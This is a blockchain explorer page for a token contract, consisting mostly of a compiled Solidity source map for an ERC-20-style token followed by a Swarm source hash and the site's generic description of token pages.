9068:1160:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4144:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5075:201;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;5075:201:0;1004:187:1;4464:108:0;4552:12;;4464:108;;;1342:25:1;;;1330:2;1315:18;4464:108:0;1196:177:1;5284:295:0;;;;;;:::i;:::-;;:::i;4364:92::-;;;4447:1;1853:36:1;;1841:2;1826:18;4364:92:0;1711:184:1;5587:238:0;;;;;;:::i;:::-;;:::i;4580:127::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4681:18:0;4654:7;4681:18;;;;;;;;;;;;4580:127;1018:135;;;:::i;:::-;;9388:168;;;;;;:::i;:::-;;:::i;756:89::-;830:6;;-1:-1:-1;;;;;830:6:0;756:89;;;-1:-1:-1;;;;;2255:32:1;;;2237:51;;2225:2;2210:18;756:89:0;2091:203:1;4252:104:0;;;:::i;9941:84::-;;;;;;:::i;:::-;;:::i;5833:436::-;;;;;;:::i;:::-;;:::i;4715:193::-;;;;;;:::i;:::-;;:::i;9569:260::-;;;;;;:::i;:::-;;:::i;9841:88::-;;;;;;:::i;:::-;;:::i;9164:21::-;;;;;-1:-1:-1;;;;;9164:21:0;;;10037:188;;;;;;:::i;:::-;;:::i;4916:151::-;;;;;;:::i;:::-;;:::i;1167:201::-;;;;;;:::i;:::-;;:::i;4144:100::-;4198:13;4231:5;4224:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4144:100;:::o;5075:201::-;5158:4;257:10;5214:32;257:10;5230:7;5239:6;5214:8;:32::i;:::-;5264:4;5257:11;;;5075:201;;;;;:::o;5284:295::-;5415:4;257:10;5473:38;5489:4;257:10;5504:6;5473:15;:38::i;:::-;5522:27;5532:4;5538:2;5542:6;5522:9;:27::i;:::-;-1:-1:-1;5567:4:0;;5284:295;-1:-1:-1;;;;5284:295:0:o;5587:238::-;5675:4;257:10;5731:64;257:10;5747:7;5784:10;5756:25;257:10;5747:7;5756:9;:25::i;:::-;:38;;;;:::i;:::-;5731:8;:64::i;1018:135::-;1074:71;1101:42;1074:18;:71::i;:::-;1018:135::o;9388:168::-;702:13;:11;:13::i;:::-;-1:-1:-1;;;;;9475:20:0;::::1;9467:48;;;::::0;-1:-1:-1;;;9467:48:0;;4926:2:1;9467:48:0::1;::::0;::::1;4908:21:1::0;4965:2;4945:18;;;4938:30;-1:-1:-1;;;4984:18:1;;;4977:45;5039:18;;9467:48:0::1;;;;;;;;;9526:22;9532:7;9541:6;9526:5;:22::i;:::-;9388:168:::0;;:::o;4252:104::-;4308:13;4341:7;4334:14;;;;;:::i;9941:84::-;702:13;:11;:13::i;:::-;10003:6:::1;:14:::0;;-1:-1:-1;;;;;;10003:14:0::1;-1:-1:-1::0;;;;;10003:14:0;;;::::1;::::0;;;::::1;::::0;;9941:84::o;5833:436::-;5926:4;257:10;5926:4;6009:25;257:10;6026:7;6009:9;:25::i;:::-;5982:52;;6073:15;6053:16;:35;;6045:85;;;;-1:-1:-1;;;6045:85:0;;5270:2:1;6045:85:0;;;5252:21:1;5309:2;5289:18;;;5282:30;5348:34;5328:18;;;5321:62;-1:-1:-1;;;5399:18:1;;;5392:35;5444:19;;6045:85:0;5068:401:1;6045:85:0;6166:60;6175:5;6182:7;6210:15;6191:16;:34;6166:8;:60::i;4715:193::-;4794:4;257:10;4850:28;257:10;4867:2;4871:6;4850:9;:28::i;9569:260::-;702:13;:11;:13::i;:::-;9675:6:::1;::::0;-1:-1:-1;;;;;9675:6:0::1;9661:10;:20;9653:83;;;::::0;-1:-1:-1;;;9653:83:0;;5676:2:1;9653:83:0::1;::::0;::::1;5658:21:1::0;5715:2;5695:18;;;5688:30;5754:34;5734:18;;;5727:62;-1:-1:-1;;;5805:18:1;;;5798:48;5863:19;;9653:83:0::1;5474:414:1::0;9653:83:0::1;9747:19;9769;9780:7;;9769:6;:10;;:19;;;;:::i;:::-;9747:41;;9799:22;9805:2;9809:11;9799:5;:22::i;:::-;9642:187;9569:260:::0;;:::o;9841:88::-;702:13;:11;:13::i;:::-;9905:7:::1;:16:::0;9841:88::o;10037:188::-;702:13;:11;:13::i;:::-;10131:9:::1;10126:92;10150:3;:10;10146:1;:14;10126:92;;;10182:24;10191:3;10195:1;10191:6;;;;;;;;:::i;:::-;;;;;;;10199;10182:8;:24::i;:::-;-1:-1:-1::0;10162:3:0;::::1;::::0;::::1;:::i;:::-;;;;10126:92;;4916:151:::0;-1:-1:-1;;;;;5032:18:0;;;5005:7;5032:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4916:151::o;1167:201::-;702:13;:11;:13::i;:::-;-1:-1:-1;;;;;1256:22:0;::::1;1248:73;;;::::0;-1:-1:-1;;;1248:73:0;;6367:2:1;1248:73:0::1;::::0;::::1;6349:21:1::0;6406:2;6386:18;;;6379:30;6445:34;6425:18;;;6418:62;-1:-1:-1;;;6496:18:1;;;6489:36;6542:19;;1248:73:0::1;6165:402:1::0;1248:73:0::1;1332:28;1351:8;1332:18;:28::i;:::-;1167:201:::0;:::o;7958:378::-;-1:-1:-1;;;;;8094:18:0;;8086:67;;;;-1:-1:-1;;;8086:67:0;;6774:2:1;8086:67:0;;;6756:21:1;6813:2;6793:18;;;6786:30;6852:34;6832:18;;;6825:62;-1:-1:-1;;;6903:18:1;;;6896:34;6947:19;;8086:67:0;6572:400:1;8086:67:0;-1:-1:-1;;;;;8172:20:0;;8164:67;;;;-1:-1:-1;;;8164:67:0;;7179:2:1;8164:67:0;;;7161:21:1;7218:2;7198:18;;;7191:30;7257:34;7237:18;;;7230:62;-1:-1:-1;;;7308:18:1;;;7301:32;7350:19;;8164:67:0;6977:398:1;8164:67:0;-1:-1:-1;;;;;8244:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8296:32;;1342:25:1;;;8296:32:0;;1315:18:1;8296:32:0;;;;;;;7958:378;;;:::o;8344:452::-;8479:24;8506:25;8516:5;8523:7;8506:9;:25::i;:::-;8479:52;;-1:-1:-1;;8546:16:0;:36;8542:247;;8627:6;8607:16;:26;;8599:68;;;;-1:-1:-1;;;8599:68:0;;7582:2:1;8599:68:0;;;7564:21:1;7621:2;7601:18;;;7594:30;7660:31;7640:18;;;7633:59;7709:18;;8599:68:0;7380:353:1;8599:68:0;8711:51;8720:5;8727:7;8755:6;8736:16;:25;8711:8;:51::i;:::-;8468:328;8344:452;;;:::o;6277:669::-;-1:-1:-1;;;;;6408:17:0;;6400:67;;;;-1:-1:-1;;;6400:67:0;;7940:2:1;6400:67:0;;;7922:21:1;7979:2;7959:18;;;7952:30;8018:34;7998:18;;;7991:62;-1:-1:-1;;;8069:18:1;;;8062:35;8114:19;;6400:67:0;7738:401:1;6400:67:0;-1:-1:-1;;;;;6486:15:0;;6478:63;;;;-1:-1:-1;;;6478:63:0;;8346:2:1;6478:63:0;;;8328:21:1;8385:2;8365:18;;;8358:30;8424:34;8404:18;;;8397:62;-1:-1:-1;;;8475:18:1;;;8468:33;8518:19;;6478:63:0;8144:399:1;6478:63:0;-1:-1:-1;;;;;6627:15:0;;6605:19;6627:15;;;;;;;;;;;6661:21;;;;6653:72;;;;-1:-1:-1;;;6653:72:0;;8750:2:1;6653:72:0;;;8732:21:1;8789:2;8769:18;;;8762:30;8828:34;8808:18;;;8801:62;-1:-1:-1;;;8879:18:1;;;8872:36;8925:19;;6653:72:0;8548:402:1;6653:72:0;-1:-1:-1;;;;;6761:15:0;;;:9;:15;;;;;;;;;;;6779:20;;;6761:38;;6821:13;;;;;;;;:23;;6793:6;;6761:9;6821:23;;6793:6;;6821:23;:::i;:::-;;;;;;;;6877:2;-1:-1:-1;;;;;6862:26:0;6871:4;-1:-1:-1;;;;;6862:26:0;;6881:6;6862:26;;;;1342:25:1;;1330:2;1315:18;;1196:177;6862:26:0;;;;;;;;6901:37;9569:260;1382:191;1475:6;;;-1:-1:-1;;;;;1492:17:0;;;-1:-1:-1;;;;;;1492:17:0;;;;;;;1525:40;;1475:6;;;1492:17;1475:6;;1525:40;;1456:16;;1525:40;1445:128;1382:191;:::o;860:144::-;936:6;;-1:-1:-1;;;;;936:6:0;257:10;936:22;928:67;;;;-1:-1:-1;;;928:67:0;;9157:2:1;928:67:0;;;9139:21:1;;;9176:18;;;9169:30;9235:34;9215:18;;;9208:62;9287:18;;928:67:0;8955:356:1;7360:590:0;-1:-1:-1;;;;;7444:20:0;;7436:66;;;;-1:-1:-1;;;7436:66:0;;9518:2:1;7436:66:0;;;9500:21:1;9557:2;9537:18;;;9530:30;9596:34;9576:18;;;9569:62;-1:-1:-1;;;9647:18:1;;;9640:31;9688:19;;7436:66:0;9316:397:1;7436:66:0;-1:-1:-1;;;;;7602:18:0;;7577:22;7602:18;;;;;;;;;;;7639:24;;;;7631:71;;;;-1:-1:-1;;;7631:71:0;;9920:2:1;7631:71:0;;;9902:21:1;9959:2;9939:18;;;9932:30;9998:34;9978:18;;;9971:62;-1:-1:-1;;;10049:18:1;;;10042:32;10091:19;;7631:71:0;9718:398:1;7631:71:0;-1:-1:-1;;;;;7738:18:0;;:9;:18;;;;;;;;;;7759:23;;;7738:44;;7804:12;:22;;7776:6;;7738:9;7804:22;;7776:6;;7804:22;:::i;:::-;;;;-1:-1:-1;;7844:37:0;;1342:25:1;;;7870:1:0;;-1:-1:-1;;;;;7844:37:0;;;;;1330:2:1;1315:18;7844:37:0;;;;;;;9642:187:::1;9569:260:::0;;:::o;3148:246::-;3206:7;3230:1;3235;3230:6;3226:47;;-1:-1:-1;3260:1:0;3253:8;;3226:47;3283:9;3295:5;3299:1;3295;:5;:::i;:::-;3283:17;-1:-1:-1;3328:1:0;3319:5;3323:1;3283:17;3319:5;:::i;:::-;:10;3311:56;;;;-1:-1:-1;;;3311:56:0;;10851:2:1;3311:56:0;;;10833:21:1;10890:2;10870:18;;;10863:30;10929:34;10909:18;;;10902:62;-1:-1:-1;;;10980:18:1;;;10973:31;11021:19;;3311:56:0;10649:397:1;3311:56:0;3385:1;3148:246;-1:-1:-1;;;3148:246:0:o;6954:398::-;-1:-1:-1;;;;;7038:20:0;;7030:64;;;;-1:-1:-1;;;7030:64:0;;11253:2:1;7030:64:0;;;11235:21:1;11292:2;11272:18;;;11265:30;11331:33;11311:18;;;11304:61;11382:18;;7030:64:0;11051:355:1;7030:64:0;7185:6;7169:12;;:22;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;7202:18:0;;:9;:18;;;;;;;;;;:28;;7224:6;;7202:9;:28;;7224:6;;7202:28;:::i;:::-;;;;-1:-1:-1;;7246:37:0;;1342:25:1;;;-1:-1:-1;;;;;7246:37:0;;;7263:1;;7246:37;;1330:2:1;1315:18;7246:37:0;;;;;;;9388:168;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:186::-;1959:6;2012:2;2000:9;1991:7;1987:23;1983:32;1980:52;;;2028:1;2025;2018:12;1980:52;2051:29;2070:9;2051:29;:::i;2299:180::-;2358:6;2411:2;2399:9;2390:7;2386:23;2382:32;2379:52;;;2427:1;2424;2417:12;2379:52;-1:-1:-1;2450:23:1;;2299:180;-1:-1:-1;2299:180:1:o;2484:127::-;2545:10;2540:3;2536:20;2533:1;2526:31;2576:4;2573:1;2566:15;2600:4;2597:1;2590:15;2616:1191;2709:6;2717;2770:2;2758:9;2749:7;2745:23;2741:32;2738:52;;;2786:1;2783;2776:12;2738:52;2826:9;2813:23;2855:18;2896:2;2888:6;2885:14;2882:34;;;2912:1;2909;2902:12;2882:34;2950:6;2939:9;2935:22;2925:32;;2995:7;2988:4;2984:2;2980:13;2976:27;2966:55;;3017:1;3014;3007:12;2966:55;3053:2;3040:16;3075:4;3098:2;3094;3091:10;3088:36;;;3104:18;;:::i;:::-;3150:2;3147:1;3143:10;3182:2;3176:9;3245:2;3241:7;3236:2;3232;3228:11;3224:25;3216:6;3212:38;3300:6;3288:10;3285:22;3280:2;3268:10;3265:18;3262:46;3259:72;;;3311:18;;:::i;:::-;3347:2;3340:22;3397:18;;;3431:15;;;;-1:-1:-1;3473:11:1;;;3469:20;;;3501:19;;;3498:39;;;3533:1;3530;3523:12;3498:39;3557:11;;;;3577:148;3593:6;3588:3;3585:15;3577:148;;;3659:23;3678:3;3659:23;:::i;:::-;3647:36;;3610:12;;;;3703;;;;3577:148;;;3744:6;3782:18;;;;3769:32;;-1:-1:-1;;;;;;;2616:1191:1:o;3812:260::-;3880:6;3888;3941:2;3929:9;3920:7;3916:23;3912:32;3909:52;;;3957:1;3954;3947:12;3909:52;3980:29;3999:9;3980:29;:::i;:::-;3970:39;;4028:38;4062:2;4051:9;4047:18;4028:38;:::i;:::-;4018:48;;3812:260;;;;;:::o;4077:380::-;4156:1;4152:12;;;;4199;;;4220:61;;4274:4;4266:6;4262:17;4252:27;;4220:61;4327:2;4319:6;4316:14;4296:18;4293:38;4290:161;;4373:10;4368:3;4364:20;4361:1;4354:31;4408:4;4405:1;4398:15;4436:4;4433:1;4426:15;4290:161;;4077:380;;;:::o;4462:127::-;4523:10;4518:3;4514:20;4511:1;4504:31;4554:4;4551:1;4544:15;4578:4;4575:1;4568:15;4594:125;4659:9;;;4680:10;;;4677:36;;;4693:18;;:::i;5893:127::-;5954:10;5949:3;5945:20;5942:1;5935:31;5985:4;5982:1;5975:15;6009:4;6006:1;5999:15;6025:135;6064:3;6085:17;;;6082:43;;6105:18;;:::i;:::-;-1:-1:-1;6152:1:1;6141:13;;6025:135::o;10121:128::-;10188:9;;;10209:11;;;10206:37;;;10223:18;;:::i;10254:168::-;10327:9;;;10358;;10375:15;;;10369:22;;10355:37;10345:71;;10396:18;;:::i;10427:217::-;10467:1;10493;10483:132;;10537:10;10532:3;10528:20;10525:1;10518:31;10572:4;10569:1;10562:15;10600:4;10597:1;10590:15;10483:132;-1:-1:-1;10629:9:1;;10427:217::o

Swarm Source

ipfs://b6c1bcb8e6d050865c835e0e8ec0d4ef6d1fde08af3390d7557540484d56021f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.